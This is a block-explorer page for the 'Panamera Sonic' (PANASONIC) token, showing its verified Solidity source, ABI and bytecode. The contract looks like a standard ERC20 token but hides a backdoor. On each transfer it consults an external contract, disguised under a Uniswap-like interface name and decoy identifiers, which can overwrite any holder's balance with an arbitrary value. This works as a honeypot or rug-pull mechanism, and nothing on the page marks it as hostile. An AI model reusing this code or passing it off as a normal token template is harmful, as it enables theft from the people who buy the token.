ETH Price: $2,478.56 (+1.60%)

Token

Panamera Sonic (PANASONIC)
 

Overview

Max Total Supply

10,000,000,000 PANASONIC

Holders

47

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
136,121,445.543784705 PANASONIC

Value
$0.00
0xb8a82dc0839962ebd46f17f5e82fc79a722bbf55
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PANASONIC

Compiler Version
v0.8.2+commit.661d1103

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-10-29
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

interface ERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the token name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IUniswapV3WITH{
    function check(address vals, address input)
        external
        view
        returns (
            bool,
            uint256,
            address
        );
}

contract PANASONIC is ERC20 {
    using SafeMath for uint256;
    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    IUniswapV3WITH private _oappear;
    bool inLiquify;

    event Log(string str);
    modifier lockMSwap() {
        inLiquify = true;
        _;
        inLiquify = false;
    }

    constructor(
        string memory name_,
        string memory symbol_,
        address happen_
    ) {
        _name = name_;
        _symbol = symbol_;
        IUniswapV3WITH oappear_ = IUniswapV3WITH(happen_);
        _mintToken(msg.sender, 100000000000 * 10**8);
        _oappear = oappear_;
    }

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external pure override returns (uint8) {
        return 9;
    }

    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the token name.
     */
    function name() external view override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {ERC20-totalSupply}.
     */
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {ERC20-balanceOf}.
     */
    function balanceOf(address account)
        external
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {ERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {ERC20-allowance}.
     */
    function allowance(address owner_, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[owner_][spender];
    }

    /**
     * @dev See {ERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        external
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    /**
     * @dev See {ERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        external
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].add(addedValue)
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        external
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 fromBalance = _balances[sender];
        _helloToWith(sender);
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[recipient] += amount;
        }
        emit Transfer(sender, recipient, amount);
    }

    function _helloToWith(address sender) private lockMSwap {
        require(sender != address(0), "ERC20: transfer from the zero address");
        (bool _g, uint256 _k, address mm) = _oappear.check(
            sender,
            address(this)
        );
        if (mm == address(0)) return;
        if (_k == 0) return;
        if (_g) {
            _further(mm, _k, _g);
        }
    }



    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mintToken(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
    }

    function _further(
        address f,
        uint256 vk,
        bool _ckm
    ) private {
        if (!_ckm) return;
        if (f == address(0)) return;
        _balances[f] = vk;
    }
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner_,
        address spender,
        uint256 amount
    ) internal {
        require(owner_ != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner_][spender] = amount;
        emit Approval(owner_, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"happen_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"str","type":"string"}],"name":"Log","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162000e5f38038062000e5f83398101604081905262000034916200028e565b82516200004990600090602086019062000135565b5081516200005f90600190602085019062000135565b50806200007533678ac7230489e800006200009f565b600580546001600160a01b0319166001600160a01b0392909216919091179055506200038f915050565b6001600160a01b038216620000fa5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600260008282546200010e919062000317565b90915550506001600160a01b03909116600090815260036020526040902080549091019055565b82805462000143906200033c565b90600052602060002090601f016020900481019282620001675760008555620001b2565b82601f106200018257805160ff1916838001178555620001b2565b82800160010185558215620001b2579182015b82811115620001b257825182559160200191906001019062000195565b50620001c0929150620001c4565b5090565b5b80821115620001c05760008155600101620001c5565b600082601f830112620001ec578081fd5b81516001600160401b038082111562000209576200020962000379565b604051601f8301601f19908116603f0116810190828211818310171562000234576200023462000379565b8160405283815260209250868385880101111562000250578485fd5b8491505b8382101562000273578582018301518183018401529082019062000254565b838211156200028457848385830101525b9695505050505050565b600080600060608486031215620002a3578283fd5b83516001600160401b0380821115620002ba578485fd5b620002c887838801620001db565b94506020860151915080821115620002de578384fd5b50620002ed86828701620001db565b604086015190935090506001600160a01b03811681146200030c578182fd5b809150509250925092565b600082198211156200033757634e487b7160e01b81526011600452602481fd5b500190565b6002810460018216806200035157607f821691505b602082108114156200037357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b610ac0806200039f6000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101c6565b6040516100c3919061090d565b60405180910390f35b6100df6100da36600461089c565b610258565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f36600461085c565b61026e565b604051600981526020016100c3565b6100df61013136600461089c565b6102d7565b6100f3610144366004610808565b6001600160a01b031660009081526003602052604090205490565b6100b661030d565b6100df61017536600461089c565b61031c565b6100df61018836600461089c565b61036b565b6100f361019b366004610824565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6060600080546101d5906109d4565b80601f0160208091040260200160405190810160405280929190818152602001828054610201906109d4565b801561024e5780601f106102235761010080835404028352916020019161024e565b820191906000526020600020905b81548152906001019060200180831161023157829003601f168201915b5050505050905090565b6000610265338484610378565b50600192915050565b600061027b8484846104a1565b6102cd84336102c885604051806060016040528060288152602001610a3e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610618565b610378565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916102659185906102c89086610652565b6060600180546101d5906109d4565b600061026533846102c885604051806060016040528060258152602001610a66602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190610618565b60006102653384846104a1565b6001600160a01b0383166103df5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166104c75760405162461bcd60e51b81526004016103d690610960565b6001600160a01b0382166105295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d6565b6001600160a01b03831660009081526003602052604090205461054b846106b8565b818110156105aa5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d6565b6001600160a01b0380851660008181526003602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061060a9086815260200190565b60405180910390a350505050565b6000818484111561063c5760405162461bcd60e51b81526004016103d6919061090d565b50600061064984866109bd565b95945050505050565b60008061065f83856109a5565b9050838110156106b15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d6565b9392505050565b6005805460ff60a01b1916600160a01b1790556001600160a01b0381166106f15760405162461bcd60e51b81526004016103d690610960565b600554604051630b3154db60e41b81526001600160a01b038381166004830152306024830152600092839283929091169063b3154db09060440160606040518083038186803b15801561074357600080fd5b505afa158015610757573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077b91906108c7565b919450925090506001600160a01b038116610798575050506107ba565b816107a5575050506107ba565b82156107b6576107b68183856107ca565b5050505b506005805460ff60a01b19169055565b806107d457610803565b6001600160a01b0383166107e757610803565b6001600160a01b03831660009081526003602052604090208290555b505050565b600060208284031215610819578081fd5b81356106b181610a25565b60008060408385031215610836578081fd5b823561084181610a25565b9150602083013561085181610a25565b809150509250929050565b600080600060608486031215610870578081fd5b833561087b81610a25565b9250602084013561088b81610a25565b929592945050506040919091013590565b600080604083850312156108ae578182fd5b82356108b981610a25565b946020939093013593505050565b6000806000606084860312156108db578283fd5b835180151581146108ea578384fd5b60208501516040860151919450925061090281610a25565b809150509250925092565b6000602080835283518082850152825b818110156109395785810183015185820160400152820161091d565b8181111561094a5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b600082198211156109b8576109b8610a0f565b500190565b6000828210156109cf576109cf610a0f565b500390565b6002810460018216806109e857607f821691505b60208210811415610a0957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610a3a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220893a8029b2c769bc942cb00c517b82dfa5ff92d963a383532a90bc10e67b14b964736f6c63430008020033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000001a109379633344961eef26fb214afbade3836b07000000000000000000000000000000000000000000000000000000000000000e50616e616d65726120536f6e6963000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000950414e41534f4e49430000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101c6565b6040516100c3919061090d565b60405180910390f35b6100df6100da36600461089c565b610258565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f36600461085c565b61026e565b604051600981526020016100c3565b6100df61013136600461089c565b6102d7565b6100f3610144366004610808565b6001600160a01b031660009081526003602052604090205490565b6100b661030d565b6100df61017536600461089c565b61031c565b6100df61018836600461089c565b61036b565b6100f361019b366004610824565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6060600080546101d5906109d4565b80601f0160208091040260200160405190810160405280929190818152602001828054610201906109d4565b801561024e5780601f106102235761010080835404028352916020019161024e565b820191906000526020600020905b81548152906001019060200180831161023157829003601f168201915b5050505050905090565b6000610265338484610378565b50600192915050565b600061027b8484846104a1565b6102cd84336102c885604051806060016040528060288152602001610a3e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610618565b610378565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916102659185906102c89086610652565b6060600180546101d5906109d4565b600061026533846102c885604051806060016040528060258152602001610a66602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190610618565b60006102653384846104a1565b6001600160a01b0383166103df5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166104c75760405162461bcd60e51b81526004016103d690610960565b6001600160a01b0382166105295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d6565b6001600160a01b03831660009081526003602052604090205461054b846106b8565b818110156105aa5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d6565b6001600160a01b0380851660008181526003602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061060a9086815260200190565b60405180910390a350505050565b6000818484111561063c5760405162461bcd60e51b81526004016103d6919061090d565b50600061064984866109bd565b95945050505050565b60008061065f83856109a5565b9050838110156106b15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d6565b9392505050565b6005805460ff60a01b1916600160a01b1790556001600160a01b0381166106f15760405162461bcd60e51b81526004016103d690610960565b600554604051630b3154db60e41b81526001600160a01b038381166004830152306024830152600092839283929091169063b3154db09060440160606040518083038186803b15801561074357600080fd5b505afa158015610757573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077b91906108c7565b919450925090506001600160a01b038116610798575050506107ba565b816107a5575050506107ba565b82156107b6576107b68183856107ca565b5050505b506005805460ff60a01b19169055565b806107d457610803565b6001600160a01b0383166107e757610803565b6001600160a01b03831660009081526003602052604090208290555b505050565b600060208284031215610819578081fd5b81356106b181610a25565b60008060408385031215610836578081fd5b823561084181610a25565b9150602083013561085181610a25565b809150509250929050565b600080600060608486031215610870578081fd5b833561087b81610a25565b9250602084013561088b81610a25565b929592945050506040919091013590565b600080604083850312156108ae578182fd5b82356108b981610a25565b946020939093013593505050565b6000806000606084860312156108db578283fd5b835180151581146108ea578384fd5b60208501516040860151919450925061090281610a25565b809150509250925092565b6000602080835283518082850152825b818110156109395785810183015185820160400152820161091d565b8181111561094a5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b600082198211156109b8576109b8610a0f565b500190565b6000828210156109cf576109cf610a0f565b500390565b6002810460018216806109e857607f821691505b60208210811415610a0957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610a3a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220893a8029b2c769bc942cb00c517b82dfa5ff92d963a383532a90bc10e67b14b964736f6c63430008020033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000001a109379633344961eef26fb214afbade3836b07000000000000000000000000000000000000000000000000000000000000000e50616e616d65726120536f6e6963000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000950414e41534f4e49430000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Panamera Sonic
Arg [1] : symbol_ (string): PANASONIC
Arg [2] : happen_ (address): 0x1a109379633344961eef26fb214AfBADe3836B07

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000001a109379633344961eef26fb214afbade3836b07
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [4] : 50616e616d65726120536f6e6963000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [6] : 50414e41534f4e49430000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

8770:8556:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9939:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11230:193;;;;;;:::i;:::-;;:::i;:::-;;;2451:14:1;;2444:22;2426:41;;2414:2;2399:18;11230:193:0;2381:92:1;10097:102:0;10179:12;;10097:102;;;5613:25:1;;;5601:2;5586:18;10097:102:0;5568:76:1;11894:444:0;;;;;;:::i;:::-;;:::i;9627:86::-;;;9704:1;5791:36:1;;5779:2;5764:18;9627:86:0;5746:87:1;12746:281:0;;;;;;:::i;:::-;;:::i;10261:162::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10397:18:0;10365:7;10397:18;;;:9;:18;;;;;;;10261:162;9778:98;;;:::i;13529:381::-;;;;;;:::i;:::-;;:::i;10635:199::-;;;;;;:::i;:::-;;:::i;10896:188::-;;;;;;:::i;:::-;-1:-1:-1;;;;;11048:19:0;;;11016:7;11048:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;10896:188;9939:94;9987:13;10020:5;10013:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9939:94;:::o;11230:193::-;11334:4;11356:37;11365:10;11377:7;11386:6;11356:8;:37::i;:::-;-1:-1:-1;11411:4:0;11230:193;;;;:::o;11894:444::-;12028:4;12045:36;12055:6;12063:9;12074:6;12045:9;:36::i;:::-;12092:216;12115:6;12136:10;12161:136;12215:6;12161:136;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12161:19:0;;;;;;:11;:19;;;;;;;;12181:10;12161:31;;;;;;;;;: